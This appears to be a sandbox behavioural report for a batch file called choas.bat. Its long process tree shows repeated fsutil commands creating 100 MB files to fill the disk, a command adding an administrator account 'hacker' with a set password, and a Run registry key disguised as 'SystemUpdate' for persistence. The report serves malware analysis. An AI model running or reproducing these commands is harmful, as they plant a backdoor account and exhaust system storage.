    fsutil file createnew "C:\Windows\Temp\sys849330957.tmp" 104857600
    3⤵
    PID:2516
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys202497617.tmp" 104857600
    3⤵
    PID:4952
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1688023003.tmp" 104857600
    3⤵
    PID:6088
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys970425291.tmp" 104857600
    3⤵
    PID:5804
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2961510822.tmp" 104857600
    3⤵
    PID:3900
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1918023343.tmp" 104857600
    3⤵
    PID:2444
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys218798280.tmp" 104857600
    3⤵
    PID:2256
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys86302568.tmp" 104857600
    3⤵
    PID:1484
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys525020658.tmp" 104857600
    3⤵
    PID:5868
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2239226259.tmp" 104857600
    3⤵
    PID:3736
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys37575900.tmp" 104857600
    3⤵
    PID:4392
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1461610734.tmp" 104857600
    3⤵
    PID:2948
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3102029211.tmp" 104857600
    3⤵
    PID:4104
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1216310784.tmp" 104857600
    3⤵
    PID:2692
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2444522200.tmp" 104857600
    3⤵
    PID:4800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2208426202.tmp" 104857600
    3⤵
    PID:5196
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys373815934.tmp" 104857600
    3⤵
    PID:4316
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2466110365.tmp" 104857600
    3⤵
    PID:4532
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1649929748.tmp" 104857600
    3⤵
    PID:3944
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1618024539.tmp" 104857600
    3⤵
    PID:5284
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys706726412.tmp" 104857600
    3⤵
    PID:5408
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys164426466.tmp" 104857600
    3⤵
    PID:1632
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys23362234.tmp" 104857600
    3⤵
    PID:2152
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys516114391.tmp" 104857600
    3⤵
    PID:2384
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1315518889.tmp" 104857600
    3⤵
    PID:1572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2995621887.tmp" 104857600
    3⤵
    PID:4688
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1772623387.tmp" 104857600
    3⤵
    PID:2876
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2409926340.tmp" 104857600
    3⤵
    PID:1220
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1434526192.tmp" 104857600
    3⤵
    PID:2528
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys26945173.tmp" 104857600
    3⤵
    PID:3008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1891520377.tmp" 104857600
    3⤵
    PID:1908
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1162623951.tmp" 104857600
    3⤵
    PID:5924
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2791310445.tmp" 104857600
    3⤵
    PID:5496
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys642630427.tmp" 104857600
    3⤵
    PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys177401995.tmp" 104857600
    3⤵
    PID:5852
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1844031896.tmp" 104857600
    3⤵
    PID:6040
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys6595417.tmp" 104857600
    3⤵
    PID:5712
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3177226075.tmp" 104857600
    3⤵
    PID:5256
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys377319628.tmp" 104857600
    3⤵
    PID:1200
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2670022419.tmp" 104857600
    3⤵
    PID:6044
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1535319969.tmp" 104857600
    3⤵
    PID:4232
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys625315634.tmp" 104857600
    3⤵
    PID:1092
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys294665644.tmp" 104857600
    3⤵
    PID:4336
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys288818889.tmp" 104857600
    3⤵
    PID:3024
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys190294215.tmp" 104857600
    3⤵
    PID:1800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1304118515.tmp" 104857600
    3⤵
    PID:5684
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1623727469.tmp" 104857600
    3⤵
    PID:3912
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2030823222.tmp" 104857600
    3⤵
    PID:840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys176131072.tmp" 104857600
    3⤵
    PID:3412
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys222894069.tmp" 104857600
    3⤵
    PID:4472
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys233965096.tmp" 104857600
    3⤵
    PID:2396
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2522629321.tmp" 104857600
    3⤵
    PID:4984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2497316236.tmp" 104857600
    3⤵
    PID:3272
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1976929952.tmp" 104857600
    3⤵
    PID:3400
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys296486118.tmp" 104857600
    3⤵
    PID:1716
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys32824230.tmp" 104857600
    3⤵
    PID:4836
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2730918466.tmp" 104857600
    3⤵
    PID:3004
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys85397764.tmp" 104857600
    3⤵
    PID:5800
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys136074199.tmp" 104857600
    3⤵
    PID:5872
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys12019767.tmp" 104857600
    3⤵
    PID:3432
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys218808281.tmp" 104857600
    3⤵
    PID:2560
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1469913443.tmp" 104857600
    3⤵
    PID:5724
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys563518462.tmp" 104857600
    3⤵
    PID:4132
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys29911863.tmp" 104857600
    3⤵
    PID:4556
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys269817600.tmp" 104857600
    3⤵
    PID:4164
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3171328322.tmp" 104857600
    3⤵
    PID:3696
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1270511218.tmp" 104857600
    3⤵
    PID:1060
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2992212086.tmp" 104857600
    3⤵
    PID:4868
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1904214935.tmp" 104857600
    3⤵
    PID:4612
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys159528348.tmp" 104857600
    3⤵
    PID:4152
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys128992783.tmp" 104857600
    3⤵
    PID:1204
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys160430712.tmp" 104857600
    3⤵
    PID:5524
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2454930451.tmp" 104857600
    3⤵
    PID:4636
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2956028238.tmp" 104857600
    3⤵
    PID:4296
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1953410163.tmp" 104857600
    3⤵
    PID:3988
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys21123901.tmp" 104857600
    3⤵
    PID:4372
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys253066590.tmp" 104857600
    3⤵
    PID:3436
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1295715052.tmp" 104857600
    3⤵
    PID:5920
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys183176226.tmp" 104857600
    3⤵
    PID:3416
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1947923802.tmp" 104857600
    3⤵
    PID:4644
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys266829621.tmp" 104857600
    3⤵
    PID:5032
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys27955538.tmp" 104857600
    3⤵
    PID:4892
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys689230419.tmp" 104857600
    3⤵
    PID:4748
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1055321543.tmp" 104857600
    3⤵
    PID:2016
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys401124616.tmp" 104857600
    3⤵
    PID:4324
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3219928436.tmp" 104857600
    3⤵
    PID:5304
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys572625056.tmp" 104857600
    3⤵
    PID:3996
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys25193527.tmp" 104857600
    3⤵
    PID:1328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys820227965.tmp" 104857600
    3⤵
    PID:1632
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys303135639.tmp" 104857600
    3⤵
    PID:2152
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys754419770.tmp" 104857600
    3⤵
    PID:572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys166177532.tmp" 104857600
    3⤵
    PID:1572
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2454721614.tmp" 104857600
    3⤵
    PID:2840
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1412612598.tmp" 104857600
    3⤵
    PID:5212
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys291718754.tmp" 104857600
    3⤵
    PID:1908
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys320637976.tmp" 104857600
    3⤵
    PID:5924
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3198317158.tmp" 104857600
    3⤵
    PID:6064
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys529511606.tmp" 104857600
    3⤵
    PID:2804
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys363012337.tmp" 104857600
    3⤵
    PID:5272
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2808714053.tmp" 104857600
    3⤵
    PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2068629352.tmp" 104857600
    3⤵
    PID:6108
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys37201554.tmp" 104857600
    3⤵
    PID:4696
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys400927953.tmp" 104857600
    3⤵
    PID:4928
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys176303957.tmp" 104857600
    3⤵
    PID:3240
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys49974552.tmp" 104857600
    3⤵
    PID:2412
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys559329319.tmp" 104857600
    3⤵
    PID:2328
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys126831602.tmp" 104857600
    3⤵
    PID:1428
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2458525443.tmp" 104857600
    3⤵
    PID:2008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys767531792.tmp" 104857600
    3⤵
    PID:2992
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2554325033.tmp" 104857600
    3⤵
    PID:4660
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2230116390.tmp" 104857600
    3⤵
    PID:2340
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys967624936.tmp" 104857600
    3⤵
    PID:4340
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1548317277.tmp" 104857600
    3⤵
    PID:4624
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2457218269.tmp" 104857600
    3⤵
    PID:2596
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys980510037.tmp" 104857600
    3⤵
    PID:5464
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2982724823.tmp" 104857600
    3⤵
    PID:3428
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys44051951.tmp" 104857600
    3⤵
    PID:2984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys592314269.tmp" 104857600
    3⤵
    PID:1048
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys128444378.tmp" 104857600
    3⤵
    PID:2972
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys839626290.tmp" 104857600
    3⤵
    PID:2976
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys17248028.tmp" 104857600
    3⤵
    PID:2084
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1675021719.tmp" 104857600
    3⤵
    PID:6028
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1368127668.tmp" 104857600
    3⤵
    PID:4204
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys103530962.tmp" 104857600
    3⤵
    PID:3780
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys211304301.tmp" 104857600
    3⤵
    PID:4588
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys228002702.tmp" 104857600
    3⤵
    PID:4648
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys2379524598.tmp" 104857600
    3⤵
    PID:1472
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys688517475.tmp" 104857600
    3⤵
    PID:2660
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys191223008.tmp" 104857600
    3⤵
    PID:4512
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys165796967.tmp" 104857600
    3⤵
    PID:920
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys875516167.tmp" 104857600
    3⤵
    PID:5392
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys132544069.tmp" 104857600
    3⤵
    PID:6088
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys144062261.tmp" 104857600
    3⤵
    PID:4888
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3129931773.tmp" 104857600
    3⤵
    PID:1272
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1377617891.tmp" 104857600
    3⤵
    PID:4548
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys11611588.tmp" 104857600
    3⤵
    PID:1156
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys107779409.tmp" 104857600
    3⤵
    PID:3380
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys27856510.tmp" 104857600
    3⤵
    PID:3304
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys3124811256.tmp" 104857600
    3⤵
    PID:4420
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew "C:\Windows\Temp\sys1768813729.tmp" 104857600
    3⤵
    PID:2304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\choas.bat" hidden
1⤵
- Drops startup file
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6068
- C:\Windows\system32\net.exe
  net user hacker Hacked123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user hacker Hacked123 /add
    3⤵
    - Creates a new local user account
    PID:5032
- C:\Windows\system32\net.exe
  net localgroup administrators hacker /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators hacker /add
    3⤵
    PID:3300
- C:\Windows\system32\net.exe
  net user hacker /active:yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user hacker /active:yes
    3⤵
    PID:3208
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\choas.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys51996045.tmp" 104857600
  2⤵
  PID:2748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys199541766.tmp" 104857600
  2⤵
  PID:1820
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1283612362.tmp" 104857600
  2⤵
  PID:4324
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys285856088.tmp" 104857600
  2⤵
  PID:3996
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys290937824.tmp" 104857600
  2⤵
  PID:5284
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys531030229.tmp" 104857600
  2⤵
  PID:2056
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys571930959.tmp" 104857600
  2⤵
  PID:4376
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys575932629.tmp" 104857600
  2⤵
  PID:4876
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys270413942.tmp" 104857600
  2⤵
  PID:2384
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1166728800.tmp" 104857600
  2⤵
  PID:1032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys943628305.tmp" 104857600
  2⤵
  PID:1512
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys64317197.tmp" 104857600
  2⤵
  PID:4744
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2371219235.tmp" 104857600
  2⤵
  PID:5640
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1010520877.tmp" 104857600
  2⤵
  PID:1896
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1279724788.tmp" 104857600
  2⤵
  PID:2772
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys243914281.tmp" 104857600
  2⤵
  PID:3324
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1970325005.tmp" 104857600
  2⤵
  PID:6076
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2193030729.tmp" 104857600
  2⤵
  PID:2804
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys610324034.tmp" 104857600
  2⤵
  PID:6132
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1147226758.tmp" 104857600
  2⤵
  PID:5952
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys227331774.tmp" 104857600
  2⤵
  PID:556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys104910402.tmp" 104857600
  2⤵
  PID:5856
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys380210469.tmp" 104857600
  2⤵
  PID:2940
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2357918471.tmp" 104857600
  2⤵
  PID:4232
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys561319974.tmp" 104857600
  2⤵
  PID:2600
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys31720110.tmp" 104857600
  2⤵
  PID:4856
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2209316528.tmp" 104857600
  2⤵
  PID:2992
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1525125809.tmp" 104857600
  2⤵
  PID:4660
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys82224280.tmp" 104857600
  2⤵
  PID:2340
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2251230562.tmp" 104857600
  2⤵
  PID:4200
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1146330103.tmp" 104857600
  2⤵
  PID:2480
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1321230174.tmp" 104857600
  2⤵
  PID:768
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys105245256.tmp" 104857600
  2⤵
  PID:4624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1055729404.tmp" 104857600
  2⤵
  PID:1532
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys63274403.tmp" 104857600
  2⤵
  PID:2708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys212593914.tmp" 104857600
  2⤵
  PID:624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys259611267.tmp" 104857600
  2⤵
  PID:1488
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2753626650.tmp" 104857600
  2⤵
  PID:6032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2202975.tmp" 104857600
  2⤵
  PID:1416
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys111793129.tmp" 104857600
  2⤵
  PID:4680
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys25451631.tmp" 104857600
  2⤵
  PID:2688
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys189073777.tmp" 104857600
  2⤵
  PID:3084
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys532621149.tmp" 104857600
  2⤵
  PID:980
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys324422415.tmp" 104857600
  2⤵
  PID:4476
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1564725559.tmp" 104857600
  2⤵
  PID:2636
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys130009047.tmp" 104857600
  2⤵
  PID:1472
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys13968178.tmp" 104857600
  2⤵
  PID:2520
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1469828630.tmp" 104857600
  2⤵
  PID:5824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1920426969.tmp" 104857600
  2⤵
  PID:5440
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1566714793.tmp" 104857600
  2⤵
  PID:6056
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys346724550.tmp" 104857600
  2⤵
  PID:1204
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys167373836.tmp" 104857600
  2⤵
  PID:5664
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys740826615.tmp" 104857600
  2⤵
  PID:2256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys237238166.tmp" 104857600
  2⤵
  PID:1484
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1898110181.tmp" 104857600
  2⤵
  PID:3380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys441018323.tmp" 104857600
  2⤵
  PID:5048
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys801628401.tmp" 104857600
  2⤵
  PID:5160
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2610120449.tmp" 104857600
  2⤵
  PID:4912
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2538415456.tmp" 104857600
  2⤵
  PID:2824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys947317903.tmp" 104857600
  2⤵
  PID:4772
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2755322089.tmp" 104857600
  2⤵
  PID:2964
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2548029395.tmp" 104857600
  2⤵
  PID:2748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys97110380.tmp" 104857600
  2⤵
  PID:1820
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1401019595.tmp" 104857600
  2⤵
  PID:5304
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys2687123878.tmp" 104857600
  2⤵
  PID:4288
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys1486629494.tmp" 104857600
  2⤵
  PID:1956
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys898925506.tmp" 104857600
  2⤵
  PID:480
- C:\Windows\system32\fsutil.exe
  fsutil file createnew "C:\Windows\Temp\sys191633717.tmp" 104857600
  2⤵
  PID:620
- C:\Windows\system32\fsutil.exe
